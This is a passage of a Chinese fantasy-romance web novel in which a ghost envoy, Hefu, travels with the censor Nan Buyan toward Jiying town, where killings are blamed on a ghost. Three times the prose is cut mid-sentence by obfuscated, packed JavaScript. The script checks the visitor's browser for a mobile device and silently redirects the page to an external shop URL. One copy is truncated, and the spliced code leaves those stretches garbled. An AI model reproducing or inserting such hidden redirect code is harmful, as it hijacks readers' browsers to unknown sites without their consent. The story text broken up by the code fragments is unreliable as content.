合芜立马抬脚跟上去,嘴里谄媚道:“没有没有,我就是念及都堂大人这几日东奔西走繁忙得很,想来也没有好好吃东西,你看你看这脸都瘦了一圈,我这不就是想要做一些吃的,给都堂大人尝尝。” 在一片狼藉的膳房里站定,南不宴嘴角微抽,灶台上还架着锅,但好在灶台里的火已经灭了,只是还在冒着股股黑烟:“这就是你说的,吃的?” 油锅里上下漂浮着一个个黑乎乎的面团,一旁的瓷盘上还放着几个已经捞出来的糖油果子,形状歪七扭八,色泽也着实诡异了一些。 合芜见南不宴看着那糖油果子的眼神愣愣的,他不会以为她要毒死他吧?合芜一想到这个可能性,心里一阵发寒,立马解释道:“这是糖油果子……嗯失败版,绝对无毒无公害!” 怕他还是不相信,合芜冲上前端起盛着糖油果子的瓷盘,举到南不宴面前:“都堂大人尝尝?” 南不宴不可置信地偏头看着合芜:“这个,能吃?” “人不可貌相,这吃的也不可貌相不是?都堂大人别看这糖油果子看着不好看,但是想来味道应该大差不差的!”合芜自信满满。 “怎么,你尝过?” “呃……那还真没有。” 合芜看着黑乎乎的糖油果子,咽咽口水,不是馋的,是紧张的。 “尝就尝,不就是个糖油果子吗。”合芜揪起一个,小心翼翼放到嘴边。 她眼神躲闪地瞥了面前的男人一眼,南不宴正微微俯身看着她,扬扬下巴示意她敢吃就吃。 合芜咬牙,咬了一小口。 “啊呸!” 怎么这么苦啊!合芜一副被苦到了的模样,龇牙咧嘴。 南不宴看着她的表情缓缓直起身,开口道:“冯原同你说的?” 这问题问的没头没尾,但好在合芜听懂了,南不宴是在问他喜欢吃糖油果子这件事是谁告诉她的。 “呃……果真是什么都瞒不住都堂大人啊,哈哈。”合芜笑嘻嘻道。 南不宴唇张张合合,终是道:“若是如此,倒是不必,我现在不吃甜的。” “为,为什么?”嘴里的苦味散尽,合芜问道。 合芜看不懂南不宴的神色,南不宴总是很冷的一副样子,面上神情不多也不明显,走路板板正正,说话也是冷冷的调子,但是不时又能让人感到在这冰冷面具之下,仿佛一直掩藏着一个炙热许多的灵魂,让人难以捉摸。 “不喜欢了。”南不宴话语简短,“一会儿找下人把膳房收拾干净,以后这些东西都不必做。”南不宴没有再说什么,转身离开膳房。 “不是为什么呀?甜的东西多好呀,怎么说不喜欢就不喜欢了。”合芜顶着一张几乎全黑的脸嘀咕着,追到门边。 南不宴的身影消失在院墙墙角。 合芜眼巴巴地靠在门框上。 完蛋,那这不就又堵死了一条路吗?这南不宴果真如同传言中说的那般难以捉摸,前几日还在前厅当着外人的面说她是他心悦之人,虽说是权宜之计合芜自然晓得,但是这脸变得也太快了些,好赖不吃,强着来合芜她自己不敢上,软着来南不宴也不上当,这该如何是好。 * 烛台上点着蜡烛,烛焰在流动的气流吹动下轻轻摇晃着,忽明忽暗的,将南不宴的影子映照在身后的窗纸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165131|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 南不宴看着面前的书册,无奈似的轻叹口气,揉揉自己的太阳穴,倒不是因为书册晦涩难懂也不是为要调查的事情感到苦恼。 “咔嚓!”传来一声窸窸窣窣的噪响。 “……” “咔嚓!” 南不宴终是抬起头道:“冯原你能不能别有事没事在我这书房里闲坐着,还有你端着这一盘瓜子坐在这嗑了良久一直盯着我做什么?” 冯原光笑不语,愣是笑出了一种高深莫测的感觉。 直到他觉得南不宴真要跟他急眼,才缓缓道:“我算是看出来了。” “你看出什么了?”南不宴合上书册。 “合芜对你有意思。” 南不宴白了冯原一眼,后者还在饶有道理地分析着:“我还觉着你对她也有意思。” “我看你挺有意思。”南不宴嘴角微抽,说着随手抄起桌上摆着的毛笔。 冯原急了:“你先别急,你听我分析。” 冯原边说边躲:“我给你俩算了一卦,卦象显示你俩确实有缘呐,你也不看看合芜一开始就向我打听你的消息,还有你这一板一眼的人,前几日竟然会为了摆脱萧元熙的纠缠把合芜当成挡箭牌,你们才认识多久啊,这放在从前可是万万不会发生的事情,你们俩都不对静。”南不宴把合芜当成挡箭牌的事情还是冯原从风影嘴里套出来的消息。 “我看你最不对静,钦天监是没有什么事给你干吗,天天这么闲?” 冯原像是听到了什么值得炫耀的事情,挺胸抬头道:“现在钦天监在我这排第二,拜师学艺这事是我现在的重中之重!” 南不宴冷声道:“拜师?你要拜合芜为师?” “对啊,不宴你可别羡慕我,虽然现在合芜还没答应,但这一定是迟早的事,也不看看我冯原在玄学之事上多有天赋。”冯原自大自夸着。 “你都不知道她是谁,就敢拜师?”南不宴轻哼一声道。 冯原像是听到了什么天大的笑话,咂舌道:“啧啧啧,不宴呐,拜师拜的是能力,怎么能看身份呢?你狭隘了!” 南不宴好笑似的看着冯原那自得意满的表情,真是不知道要是冯原知道合芜是从阴曹地府里来的会是什么表情,但南不宴没想告诉他,毕竟是否告示他人自己的身份是合芜自己的事,他无权也没那个兴趣替她说出去。 这时候,屋外传来敲门声。 “侯爷。”冯原刻意压低的声音在门外响起。 南不宴道:“进来。” 风影闪身进屋,几步走到南不宴面前,精简道:“从京州前往济婴镇的道路已经都派人探查过了,现下都已经准备妥当,侯爷我们什么时候出发?” 这几日,南不宴和风影在忙活的就是这件事。 “你们要去哪里?”冯原也不贫嘴了,神色严肃了几分问道。 “手下的人在济婴镇找到了有关于当年事情的相关信息,哪怕是一点可能我都要亲自去看看。”南不宴道。 “带上我。”冯原接话。 南不宴眼神一凌:“你去做什么。” 冯原一脸内疚:“当年若不是我算错卦,卜出了烬烽关确实有危的结果,崔禾也不会那么确信你出了危险,不会那么着急赶去……” 一时间屋内静悄悄,没有人说话。 突然。 “咔——” 窗外传来树枝被踩断的声响,南不宴伸手抓住剑柄,嗖地一下将剑刺出窗纸。 窗纸被捅破,残缺的口子在夜风里簌簌颤着,合芜瑟瑟发抖地站在窗外,那是一动都不敢动,眼睛都不敢眨眨,毕竟剑尖就停在她眼前,冒着股股寒凉。 她咽咽口水,抬眸透过被捅破的窗户纸,对上南不宴的视线,声音都打着颤:“要不……也加我一个呗。” 13. 烽烟烬里故人归(十二) “我发誓绝对不是故意偷听你们谈话的,我就是觉着晚上有些无聊了,到外头随便走走,碰巧还不太认识路吗,碰巧走着走着见这边的屋子亮着烛火,向着这走来,这才又碰巧听见你们谈话。”合芜将手举到脸边上,伸出三根手指做发誓状,一脸诚恳。 当然,话里半真半假,闲着无聊是真,不认识路是假。 屋里三人表情各不相同,冯原一脸兴奋模样,明显是翻希望合芜可以一起参加这次行动,南不宴注视着合芜眼神里带着探究,反倒是风影是其中最焦急的。 “侯爷。”风影看着南不宴,征求他的意见,“要不要我将合姑娘……”边说还边做了一个抹脖子的手势,毕竟这事要是传出去查案的事情不知道会不会受到影响。 豁!当着她的面说要干掉她吗?这也太明目张胆了些吧!这要是真一下子把她干掉了还得了。 合芜坐不住,着急忙慌开口道:“风影大哥,做事没必要做这么决绝是吧,你怎知道我就是来阻挠你们的,说不定带上我还会是一个很好的助力不是吗?” “你说对吧,冯原?”合芜回头给了冯原一个眼神。 冯原一脸崇拜地点头。 风影毕竟是南不宴的属下,什么事情都是听命自家侯爷的安排,南不宴不发话他也不会轻举妄动。 众人的目光一时间都聚焦在南不宴身上,但他只是看着合芜沉默不语。 合芜知道南不宴现在在想什么,这点事情她还是看得出来的。若是南不宴带上她去追查他们口中当年的那件事,那就多出了一个难以控制的变量因素,不知是福是祸,但合芜好歹是从鬼界来的有点神通,能查探到一些他们不知道的事情,带上她难说不是一个助力。 合芜自然不能让这个机会就这样从自己的指缝间溜走,一来要跟着他们是必须的,毕竟自己的命魂还在南不宴身上,二来跟着他们就能更加了解南不宴的过去,了解那个未曾谋面的崔姑娘,也就更能找到南不宴的弱点完成自己的最终任务。 对于合芜自己来说,跟上他们百利而无一害。 “还在犹豫什么呀,都堂大人,你想想我还要帮你在那地方问问你所求的不是?”合芜凑到南不宴面前说道。 南不宴眼神一凌:“你在威胁我?” 合芜一脸自己的好意受到曲解的委屈模样,一字一顿地伤心道:“怎么会是威胁呢?都堂大人,我这叫各,取,所,需,你不会吃亏的。” 冯原在一边附和:“是啊是啊,正巧我还愁着若是我们一众都出去了,留着合姑娘在这硕大的御史府里不太好呢,毕竟是客人,但要是合姑娘一路跟着我们就不一样了,她神通广大还能帮衬帮衬。” “有冯少爷你一个麻烦还不够吗,这回又添上一个。”风影撅着嘴小声嘀咕。 合芜笑嘻嘻地走到风影身后,一只手搭到他肩上,语调柔和但不知为何,风影却起了一身鸡皮疙瘩,感觉后背凉飕飕的。 “风影你这话就不厚道了,我保证不会给你们添乱,该你们让我知道的我拎得一清二楚,绝不含糊,不想让我知道的我一个字都不会听的。”合芜保证道,转头看向南不宴,“你看如何,都堂大人?” 南不宴眸色深沉,看着合芜的眼神变幻莫测,最终是开口道:“别添麻烦,若是遇到危险,救不了你。” “侯爷!”风影不解。 合芜闻言眼睛亮晶晶地笑道:“没问题,一定不牢都堂大人费心!” “那我们合适出发,要准备什么不要?”合芜兴奋道,这左都御史府她早就已经待够了。 “后日。”南不宴音色稳稳道,“后日酉时出发。” 彼时的合芜还不知道,此次出行并不是一次简简单单的出行,簿子上的任务也远没有自己想象的简单,背后的往事正如同蚕蛹一样,在抽丝剥茧般随着时间慢慢揭开。 * 秋日的天色虽没有冬季里暗得快,但酉时一到,也已经是昏昏沉沉的。 城楼的影子被最后的一点黄昏光亮压得很低,合芜掀起车帘一角,往外探着脑袋。街上有门户已经开始点灯,街市上喧闹着,与平日里一样,没有什么人注意到这辆即将出城的马车。远处守城门的兵卒严谨地一一核对着出入城门的车辆。 “我们也要经过那些人的核查吗?”合芜放下车帘,回身在马车里坐好。 她原以为南不宴毕竟是堂堂左都御史,出门少说也应该有几辆马车作陪,哪里能想到临到出门,还是只有这么一辆孤零零的马车。 马车虽然只有一辆,但好在足够宽敞,承载得下他们三人,甚至还绰绰有余。 南不宴单独坐在一边,身边的矮桌上铺着一层锦布,上头放着热乎乎的茶盏,合芜和冯原坐在另一边,风影则是在马车外头安安静静地赶着车。 不仅马车少,人也少,带的东西更少。 合芜小声调侃:“都堂大人真是讲究,出门在外还要喝热茶。” 南不宴端着茶盏的手指微微一动,没有接话。 冯原笑嘻嘻回话道:“哎呀,年纪到了喝点温热的,正常正常。” 南不宴一记眼杀过去,吓得冯原立马转移话题,打着哈哈。 “哦对,我们这车已经提前和卫兵打过招呼了,不要排队接受检查,再说了,谁有那个胆子敢拦咱们左都的马车不是?”冯原向合芜解释。 合芜点点头。 果真,马车避开出城的人群,沿着边缘径直驶出城门,车轮碾过城外的石子路,发出单调的轱辘声响,越远离城门,地面越坑坑洼洼,车身摇晃着,惹得合芜一阵阵轻呼。 “这马车坐着怎么这么抖,还不如走着来的松快平稳。”合芜从来没有坐过马车,以往在人间游荡的时候也只看过富贵人家乘着车悠哉悠哉的,看起来舒服极了,没想到现在让自己坐到了也就那样,她的脸顿时挂下来,失望至极。 冯原闻言不禁笑出声:“此言差异,济婴镇虽说离京州不是太远,但也要翻过几座山才能到,坐马车日夜兼程至少也要五日,要是光靠腿走要走多久才能到啊。” “谁说走不快了,我直接使个法术,咱飞过去不就行了。”合芜兴致勃勃刚说出口,就想要给自己一巴掌,真的是祸从口出。 “什么?!还有法术能让人飞起来吗?!教我教我!合大姑娘你到底是何方神圣,我冯原就差立马给您供起来了。”冯原眼睛一亮,揪住合芜不放。 南不宴放下茶盏,好整以暇地看着合芜,想看看她要如何应对此事。 合芜的思路转的飞快,极力想着该用什么样的说辞先糊弄过去再说。 “哎呀冯大哥你说笑了,什么飞不飞的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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风影将马匹安顿好,准备草料,南不宴和冯原从山林里捡来干柴,合芜不知道能帮上什么,借着夜色偷偷使了个法术,迷惑来几只野兔,递给了一脸崇拜的冯原。 红彤彤的火苗在火堆里跳跃着,火影在三个大男人脸上跳跃着。 “这怎么可能不冷呢?”冯原搓着手,抬头看了看睡在大树枝插上的合芜不解道,一刻钟前合芜连连说着不冷一下子跃到树上歇息去了,“我还是叫她下来烤着火休息好了,虽说男女授受不亲,但咱也不至于窝囊到让姑娘一个人受冷的道理吧。” 冯原说着就准备起身去叫醒合芜。 南不宴摁住冯原的肩膀,压低声音道:“轻些,不用叫她。若是冷了,到时候到了济婴镇给她添置几身衣裳便是了。” 冯原看着南不宴那一副欲言又止的表情,道:“不宴你是真不懂怜香惜玉还是装不懂,我真是看不懂你了。” 南不宴拍了拍冯原的肩膀:“早点休息,明日还要赶路。” 林子逐渐安静下来,空地上火光明亮温暖,只剩下交替起伏的呼吸声。 沙—— 沙沙—— 合芜觉得周身晃荡一下,眼前似是有东西晃荡过去,但速度很快,她没有在意,仍旧合着眼休息。 不过一会儿。 “阿芜……阿芜?”有人在叫她的名字,轻巧但是急切。 合芜没有睁眼,应该是做梦吧,荒郊野岭的,那三个家伙应该都在下面休息,谁会爬到树上来叫她啊。 但怀揣着一颗好奇的心,合芜缓缓睁开了眼。 14. 嚼食月光的孩子(一) 合芜看清眼前来人之后,呆楞了一瞬。 “栖桐——” 合芜的话还没说完,嘴被栖桐轻轻捂住,栖桐的另一只手轻点在自己唇前,漆黑的夜里他的眼睛亮晶晶的。 “嘘——”栖桐回头看了一眼远处掩盖在树影之后,闪烁着火光的空地。 合芜的眼神顺着他的动作看出去,这才惊觉自己不知道什么时候被从树上带下来了,现在正坐在草苗稀疏的地上。 泥地梆硬梆硬的,青草香直往鼻子里钻。 栖桐松开手,单脚半跪在合芜的面前,眉头紧皱,面上神色焦急甚至带着肉眼可见的难以理解。 “阿芜。”栖桐斟酌了一下词句,“跟我走。” 嗯? 合芜愣住,被栖桐抓住手腕从地上拽起身。 “等等栖桐。”合芜站住脚。 栖桐回头眼里满是焦急:“等什么,你已经好几日没有回蘑居了,我问了小红、玄叔他们都说不知道你去了哪,我寻着你的痕迹找了好久才找到了你。方才我已经给那三人下了法术,如今一时半刻他们醒不过来,快跟我走,否则等他们醒来我无法保证会没有死伤。” 合芜恍然大悟。 “不不不,栖桐你误会了!”合芜将手腕从栖桐的手里抽出。 栖桐看着突然空无一物的手心愣了一瞬,心里像是有什么东西正在偷偷溜走。 “栖桐我没有被威胁,我是谁呀,这世上能威胁到我的人还没有出生呢!我是自愿和他们走的。”合芜道。 “自愿?”栖桐语调凝重。 合芜点头:“对,自愿,我好几日没有回地府是有原因的,阎王不是给了我那本簿子吗!现在那簿子上还剩下最后一个名字,就是这最后一个任务有点棘手,我一时半会还回不去,不过我想很快任务就可以完成的,你不用担心。” “是谁?” “哦就是空地火堆边上穿墨绿色长衫的那个,叫南不宴。”合芜没有半点隐瞒,如实相告。 栖桐的手逐渐紧握成拳,自带温柔的眼神也变的冷冽起来。 “你不能跟他走,他不是好人。”栖桐道。 “不是好人?”合芜疑惑,难不成栖桐还会看面相,不过南不宴长得还不错面相应该差不到哪里去吧,“你怎么看出来的?” “我……直觉。”栖桐简短道。 合芜嘴角微弯,拉起栖桐的手轻轻拍着他的手背:“哎呀你别担心,就这三个区区凡人我还是对付的了的,阎王也说了这次得花点时间,你不是也希望我尽快完成任务吗,我现在就是一个游魂连鬼都算不上,等我投个好胎不管是什么花精还是树妖什么的,也比现在五感破碎来的好吧,等到时候我有了五感你就按约定带我去吃你说的那些山珍海味!” 看着面前之人兴奋的模样,栖桐早已准备好的说辞现在却什么也说不出来。 “还有就是我的命魂不知道为什么好像是出了点问题,不过我觉得这个问题很快就能解决,不是什么大问题。”合芜怕栖桐更加担心,没有把命魂的事全盘托出。 沉默良久,栖桐问道:“你知道他是谁吗?” “嗯?”合芜正沉浸在幻想之中,“南不宴吗?他是现在人界的左都御史啊?难不成他还有什么其他的身份?” 栖桐看着合芜,那闪烁的琥珀色眼瞳里不参杂一点杂质,璀璨耀眼,栖桐判断出她没有说谎,轻轻长舒口气,心里像有一块沉重的石头终于是放下了:“没有,你知道就好。” “那他知道你是谁吗?” “知道啊。”合芜随口道。 “什么?!”栖桐刚松下去的语气猛地加重。 “嘘轻点。”合芜立马捂住栖桐的嘴,回头看了一眼,“他知道我是地府里来的鬼差吗,这也不可以吗?” “鬼,鬼差……哦……”栖桐冷静下来,“那就好……” “什么那就好?”合芜问道。 栖桐道:“没什么,这任务非做不可吗?” 合芜肯定点头,她不明白为什么栖桐今日一直抓着这个不放:“是啊,非做不可。” “那,那你注意安全,离那个叫南不宴的人远些。”说着,栖桐抬手从腰带上扯下一直随身佩戴着的珠链,微微施法,白色的荧光下,珠链渐渐幻化为一条莹白色的玉髓手链,缠绕在合芜的左手手腕上。 冰冰凉凉的,很舒服,合芜抬起左手欣赏着。 “这是我神骨的一部份,若是有危险,只要对着神骨喊出我的名字,我就能及时赶到。”栖桐托住合芜的手道。 “谢谢你栖桐。”合芜抬头看了看天色,“这天色不早了你快点走吧。” 栖桐最后看了合芜一眼,转过身:“阿芜,保护好自己。” 一阵白光闪过,栖桐像是月光一样消散不见。 远处火堆旁,传来衣料轻轻拂过地上枯枝的声响,南不宴合上了眼。 * 马车在山道上骨碌碌地走着,不时来点小颠簸。 合芜已经熟悉了,可以在突如其来的颠簸中找准平衡点,不至于再像第一次一样往前后左右倒。 这到底什么时候是个头,合芜默默吐槽,虽说能稳住身形不倒是真,但是这颠得屁股疼也是真啊。 “哎合芜,你这手腕上的玉串是哪来的还挺好看的。” 冯原眼睛一亮,眼尖地看见了合芜左手手腕上戴着的玉髓珠链,正是栖桐留下的那一串。 “哦这个啊。”合芜抬起手看了眼,没有太在意,“我之前一直塞在包袱里来着,没有戴。” “啧啧啧,这玉光泽感不错啊,若是没有被切割磨制成玉珠而是制成整玉定是一件不可多得的宝贝。”冯原称赞,纨绔子弟见过的金银珠宝数不胜数,好玉他冯原没见过一千也见过八百,但是如此澄澈透亮,就犹如天地间灵气运化而成,“话说这玉的质地还怪眼熟的。” “宝贝?” 说到宝贝合芜可就来劲了,抬起手腕眯着眼睛细细端详了起来:“那这东西它值钱吗?” 她就是问问,这毕竟是栖桐给她救命的东西,纯粹是好奇,对就是好奇,合芜晃晃手,玉髓之间微微相撞,发出悦耳的清脆声响。 “那当然值钱了!”冯原不容置疑道。 合芜嘴巴张成一个圆圆的“哦”形,煞有介事地点点头,轻轻抚摸那串玉髓,对它的态度顿时一百八十度大反转。 “嗤——” 耳朵里传进一声不应景的嗤笑,合芜想都不要想就知道是南不宴发出来的。 合芜强迫自己脸上捏出一个笑来,看向南不宴:“都堂大人有何高见?” 南不宴面面无表情,只是好心道:“若是合姑娘如此缺钱,又如此爱财,我倒是可以给合姑娘推荐一处当铺,那里有我的熟人,说不定还能给姑娘出一个高价。” 咦,合芜后颈一凉,南不宴今日说话怎么听起来阴阳怪气的。 “那倒不必,这玉髓是我一挚友相赠,礼轻情意重,我自然是好好贴身保管的好。” “贴身保管?那怎么之前不见合姑娘戴在身上,倒是现在舟车劳顿,不免磕磕碰碰的时候戴上了。”南不宴道。 合芜闻言语塞,她算是听出来了,这南不宴就是在故意刁难她,不就是一串贴身的手链,有必要这么较真嘛。 “我,我这是要让它吸收吸收天地灵气,养玉如养人,前些日子在御史府的日子那般无聊,如今出来了自然要让它多沐浴些新鲜气息的。”合芜胡诌。 南不宴的神情微愣,像是被合芜这胡说八道的性子磨平了棱角,最后只是意味不明地冷哼一声,不再说话。 冯原急忙圆场:“合芜你别跟他一般见识,他这人就这样……不,也不是,他原先不这样……”冯原说东说西结果给自己绕了进去。 “我才不在乎呢。”合芜撇嘴。 一时间马车里没有人说话,冯原看看南不宴又看看合芜长叹口气,闭上了嘴巴。 马车在山涧里行驶,山道已经极其狭窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188749|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,土泥道边是细碎的山石,整条山道也不过就只有一丈来宽,风影徐徐地赶着马,尽量不令马车颠簸。 山道两侧就是长满杂草的斜坡,许是这地方鲜少有人来,杂草已经长到有五六岁孩童般高,黄绿色一片,随着山涧里的风摇晃着发出沙沙的声响。 “咔嚓——” 是断枝被踩折的声响。 南不宴耳廓微动,低垂的目光变得冷冽,合芜和冯原还对着那串玉髓交头接耳,压着声音你一句我一句的窃窃私语。 突然。 “吁!”马车急停,外头紧接着就传来了惊天动地的哭喊声。 合芜和冯原都被惊得呆住,南不宴用手掀开车帘一角,往外看去。 “求求大人救救我们吧!救救我们吧,孩子已经好几天没有吃饭了!大人您行行好,可怜可怜我们孤苦无依的母子吧!” “叔叔……我,我饿……” 外头马车前的泥地上,跪着个衣衫褴褛的妇人,她怀中还搂着一个大概七八岁的男童,那小孩手中拿着一个坑坑洼洼的木碗,那木碗看着像是在山林里就地取材,拿木头挖的,两人的衣摆都沾染着地上的黄泥,显得脏兮兮的。 “侯爷……”风影拽着手里的缰绳,回头请示南不宴。 南不宴将目光落在那对母子身上,冷冰冰没有温度。 那妇人听见风影对南不宴的称呼,肉眼可见的身形一颤,僵持一瞬之后便是更大声的乞求。 “大人!大人呐!孩子已经好几日没有饭吃了,我们大人倒是无所谓但是苦了什么也不能苦了孩子啊!大人!”说着说着,妇人涕泪俱下,浑身颤抖不止。 合芜好奇掀开车帘往外看,这回也已经是被那妇人感动得一塌糊涂,那悲哀的眼神还有她怀中那孩子瑟瑟发抖的模样,更是让她起了恻隐之心,再回头看到南不宴那冷血的眼神,心里也是骂了起来。 真是冷血! “你不去我去。”合芜说着就从包袱里掏出几块碎银,欲下马车。 南不宴一把拉住合芜的手腕,将她拉回马车里:“坐好。” “你这人!”合芜气到。 南不宴不管合芜的抱怨,转头看向那对仍旧跪在地上的母子,道:“就只有你们二人在这山涧里拦车乞讨?” 那妇人还以为是自己拦车的行为惹恼到了这位他人口中的侯爷,连忙一下一下磕着头认错:“就只有我们,我们不是有意要拦大人马车的,实在是迫不得已啊!” 合芜看着妇人磕头的样子更难受了,手里攥着银子就又想站起身。 那妇人目光瞥见合芜手里的碎银,瞬间整个人都兴奋起来,连连说着好话:“夫人!夫人!夫人真是菩萨心肠,夫人与大人真是神仙眷侣,天造地设!” 那妇人什么好话都往外说,说着说着松开怀里的孩子,双手向前,摊开手心向上乞求。 合芜不屑地看了眼南不宴,正准备将碎银扔给那妇人,可目光一垂,手下的动作顿住。 那妇人见银子半晌没有落进自己手里,焦急抬头,却见她口中的“夫人”默默退回马车里,没有了给银子的意思。 马车上的男人继续冷声开口:“这山涧人迹罕至,你一妇人怎么会带着这一个孩童独自乞讨。” “这……”夫人声音低了些,难以启齿地开口,“我们母子就住在前头不远的镇上,我家那个天天吃喝嫖赌,养不了我们母子,还在外头欠下了债,我没有所长,也是实在没有了办法这才选择了乞讨。” 妇人哭道:“原先还是能在镇里乞讨的,只是这如今不一样了啊!大人!” “哪里不一样?”合芜问道。 “这镇子里它闹鬼啊!” “闹鬼?”合芜挑眉,冯原吓得缩了缩脑袋。 “前方是什么镇。”南不宴心里已有了大概。 妇人颤着身子,回头搂过那孩子,声音都尖了起来,好像在说什么很恐怖的事情。 “济婴镇,大人,前头是济婴镇。” 15. 嚼食月光的孩子(二) 济婴镇位于京州西南面,周遭群山环绕,虽居于山谷之中,但却是京州前往西北边塞的要道之一,但也是因为只是其中之一,使得济婴镇处在一个若有似无的境地。 济婴镇本无名,十几年前流民迁徙,途中被舍弃的婴幼儿数不胜数,镇中设下济婴堂,广收来自各处的弃婴,此举传至京州,天子赞颂,赐名“济婴镇”,每年都会往济婴镇拨些额外的银两粮草,长此以往世人倒也是对济婴镇有所耳闻。 “多有文人称颂济婴镇为世外桃源,垂髫游戏耄耋畅谈,如今这里怎么会变成了这副样子?”冯原左右张望一番,摇头道。 他们被乞讨妇人拦下的地方就是五连山的山脚,众人将马车存在五连山脚下的驿站,步行过了五连山,幸好山不高林子也没有那么密,一路走来还算顺利。 风影不知道被南不宴派去干什么了,如今只剩下他们三人走在一起。 路上遇到的乞讨妇人在得了南不宴的一点碎银之后,对南不宴点头哈腰,拉着手里的男童,将他们带进镇子之后就匆匆忙忙地离开了。 时值日落,合芜看见镇子主路两侧的铺子就已经开始收摊。 “这么早就收摊了,那晚上岂不就跟座死城一样。”合芜道。 南不宴没有说话,只是默默记下了济婴镇的道路分布,找了一处就近的客栈。 客栈里面空荡荡的,没有客人。 “哎呦,没想到现在还会有外人来镇子里住。”客栈老板是一个已经发福的老伯,三人进来的时候,老板正勤快地擦着桌板,看起来挺可亲的。 合芜三人选坐在客栈靠窗的桌边,老板娘给他们拿来一壶大麦茶。 “店家,为何感慨如今还会有人住店?”合芜问道。 老板娘接话,语气里带着些苦闷:“姑娘有所不知,我们夫妇俩呀是外地人,三年前才来这济婴镇谋活计,这镇子里客栈少,我们的生意也是红火,只是最近……最近……” 老板娘欲言又止。 合芜道:“只是因为镇子里闹鬼,客栈没了生意,你们便打算离开了?” “哎呦喂姑娘慎言,慎言呐!”老板娘像是听到了什么禁忌似的,压低声音,着急忙慌地将客栈的窗户关起来,老板也是感觉跑去把大门关上。 合芜趁着窗户关上之前撇了一眼窗外,日头刚刚淹没在群山下,天色还未全黑,街上空荡荡的,一个人都没有,沿街也没有点灯。 南不宴道:“这是为何?” 老板道:“客官有所不知,最近我们这啊闹鬼!” “若只是闹鬼,这镇子也不会如此,便也只当是不知道哪里传来的谣说,与自己无关睁一只眼闭一只眼的也就过去了,可这不一样啊,这镇子上闹得鬼啊,它杀人!” “不仅杀,还要将人开膛破肚,最近的就是前几日,听官府说是夜里倒在河边的,白日里才被发现,胸膛上好长一道口子,里头的东西都已经被搅得一塌糊涂,那身下的血都黑了,漫得河岸边红黑色一片,那场面血淋淋的,哎呦!”老板娘直摇头。 店家的脸色愈发惨白。 “三位客若是没有什么要紧的事,还是早些离开镇子的好。” 冯原打了个哆嗦。 南不宴道:“方才你说是最近,受害的不止一人?” 南不宴问的也是合芜想知道的,她托腮看向店家。 “客官敏锐,这闹鬼闹得已经将近两月了,算下来遇害的前前后后足足有三个人了!”店家道。 “官府没有查出来什么吗?”坐在一边的冯原终于是胆战心惊地开口了。 老板叹口气:“听说官府派人日日蹲守,结果连半个人影都蹲不到,客官,咱夫妻俩就是做些小买卖,其他的也是实在不清楚了。” 南不宴点点头,若有所思。 老板娘搓着手,视线在三人身上绕了一圈,一副拿不定主意的样子,站在一旁有些不好意思道:“话说三位客官是住店的吧,那要几间房?” “来三间上房。”冯原从方才的鬼故事里缓过劲来,潇洒地大手一挥,从袖子里掏出来一大块银子掷在桌面上。 “不好意思啊三位客官。”老板娘尴尬赔笑,“真是不巧,这济婴镇不大,过路的人也少,只有几个客栈,如今就只有我们一家还做着客栈的买卖,要是放在往日别说三间客房,三十间客房小店也是有的,只是如今你们也瞧见了,这硕大的店里只有我们俩口子还在。” 老板娘说出了合芜一进来就想问的问题,这店里竟然连一个帮忙打下手的店小二都没有。 “我们也已经遣散了店里的伙计,不打算再做客栈生意了,三位客官来得巧,做完你们这一单我们夫妇俩便也收手不做了,店里人手少,紧赶慢赶也只能收拾出来两间干净屋子,三位客官不知可否将就一二?”老板娘诚恳道。 “两间?”冯原问道,这样一来岂不就是说他要和不宴挤在一间房里?但这也是没有办法的办法了,肯定要给人家姑娘一间单独的房间,不就是和兄弟挤一间房嘛,没什么大不了的。 冯原与南不宴对了个眼神,两人心领神会,正要开口。 “行,两间房就两间房。”合芜率先开口,面上表情平静。 老板娘笑眯眯道:“好嘞!那哪两位客官一间房,我好叫我丈夫将客官的行李先拿到房里去。” “我和他一间。”合芜依旧平静,手指了指南不宴。 “噗——”冯原刚进口的大麦茶立刻喷了出来,这回连南不宴的面上也是出现了少见的表情波动,被茶呛到忍不住咳嗽。 “好嘞!”老板二话不说拿起行李就往楼上的客房去了。 南不宴正欲抬手叫住店家,结果手还没伸出去就被合芜一下子摁在了桌上,一瞬间又觉得嘴被封住,说不出来一个字。 合芜能感觉到南不宴带着怒意和惊讶的表情,给他回了个你放心的眼神。 冯原本就震惊于合芜的“勇猛”,这回见南不宴也不拒绝,整个人像是炸了一样抓耳挠腮的,难以置信。 * “咣!” 凹凸不平的木碗被随意地往墙角一丢,咣当咣当转着圈最后缓缓在院子角落里停住。 女人嫌弃地低头拍拍自己袖子上的泥块,身后的院门关上,男孩跟在那女人身后,小心翼翼地避免弄脏地面。 “磨磨唧唧的干什么!还不赶快去把灶子上的水烧上,这么冷的天你让我怎么休息!”女人的话像是惊雷一般在男孩的耳边炸响,他习惯性地将脖子缩在短薄的衣裳里。 “冻死老娘了。”女人搓着手往屋子里走。 院子不大,院墙有些斑驳破败,院子里只有一间木屋。 